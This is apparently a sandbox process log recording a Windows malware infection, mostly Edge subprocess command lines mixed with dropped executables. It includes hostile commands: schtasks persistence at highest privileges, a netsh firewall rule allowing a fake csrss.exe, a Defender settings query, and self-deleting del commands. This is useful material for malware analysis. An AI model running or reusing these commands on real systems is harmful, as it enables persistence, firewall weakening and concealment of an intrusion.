"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1480,10763631456962963492,8649956006746957902,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2088 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2884 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,721175705696504135,12343819451901513266,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,721175705696504135,12343819451901513266,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2176 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3916 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,8459582912493293707,16409896873834395650,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4132 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4404 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4556 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4888 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6416 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6308 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3952 /prefetch:8

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x3f8 0x4fc

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\6WA7jU8.exe

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6828 /prefetch:8

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell" Get-MpPreference -verbose

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6944 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8136 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8136 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8248 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7964 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7924 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 HR" /sc HOURLY /rl HIGHEST

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\OfficeTrackerNMP131\OfficeTrackerNMP131.exe" /tn "OfficeTrackerNMP131 LG" /sc ONLOGON /rl HIGHEST

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=7620 /prefetch:8

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6736 -ip 6736

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6736 -s 3016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2236,6606572306176487763,3679001501125023898,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8448 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\BF2.exe

C:\Users\Admin\AppData\Local\Temp\BF2.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Users\Admin\AppData\Local\Temp\3DB1.exe

C:\Users\Admin\AppData\Local\Temp\3DB1.exe

C:\Users\Admin\AppData\Local\Temp\410D.exe

C:\Users\Admin\AppData\Local\Temp\410D.exe

C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe

"C:\Users\Admin\AppData\Local\Temp\InstallSetup9.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Users\Admin\AppData\Local\Temp\BroomSetup.exe

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Users\Admin\AppData\Local\Temp\tuc3.exe

"C:\Users\Admin\AppData\Local\Temp\tuc3.exe"

C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp

"C:\Users\Admin\AppData\Local\Temp\is-VLCUF.tmp\tuc3.tmp" /SL5="$502C8,7276951,68608,C:\Users\Admin\AppData\Local\Temp\tuc3.exe"

C:\Users\Admin\AppData\Local\Temp\toolspub2.exe

"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"

C:\Users\Admin\AppData\Local\Temp\nsy4C69.tmp.exe

C:\Users\Admin\AppData\Local\Temp\nsy4C69.tmp.exe

C:\Program Files (x86)\StdButton\stdbutton.exe

"C:\Program Files (x86)\StdButton\stdbutton.exe" -i

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\system32\schtasks.exe" /Query

C:\Users\Admin\AppData\Local\Temp\5051.exe

C:\Users\Admin\AppData\Local\Temp\5051.exe

C:\Program Files (x86)\StdButton\stdbutton.exe

"C:\Program Files (x86)\StdButton\stdbutton.exe" -s

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" helpmsg 14

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 helpmsg 14

C:\Users\Admin\AppData\Local\Temp\5708.exe

C:\Users\Admin\AppData\Local\Temp\5708.exe

C:\Users\Admin\AppData\Local\Temp\590D.exe

C:\Users\Admin\AppData\Local\Temp\590D.exe

C:\Users\Admin\AppData\Roaming\configurationValue\File1.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\File1.exe"

C:\Users\Admin\AppData\Roaming\configurationValue\File2.exe

"C:\Users\Admin\AppData\Roaming\configurationValue\File2.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 6588 -ip 6588

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6588 -s 1148

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2676 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3456 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4940 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4660 /prefetch:1

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsy4C69.tmp.exe" & del "C:\ProgramData\*.dll"" & exit

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 3748 -ip 3748

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3748 -s 2388

C:\Windows\SysWOW64\timeout.exe

timeout /t 5

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5112 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3912 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13336072575471066996,15756382439234740703,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:1

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,5951055796207140198,15830173028182719385,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe4,0x110,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1448,8123015649073785938,11136589071294417552,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 /prefetch:3

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "AppLaunch.exe"

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9a91746f8,0x7ff9a9174708,0x7ff9a9174718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,14284860378040685436,15016351881369734527,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8

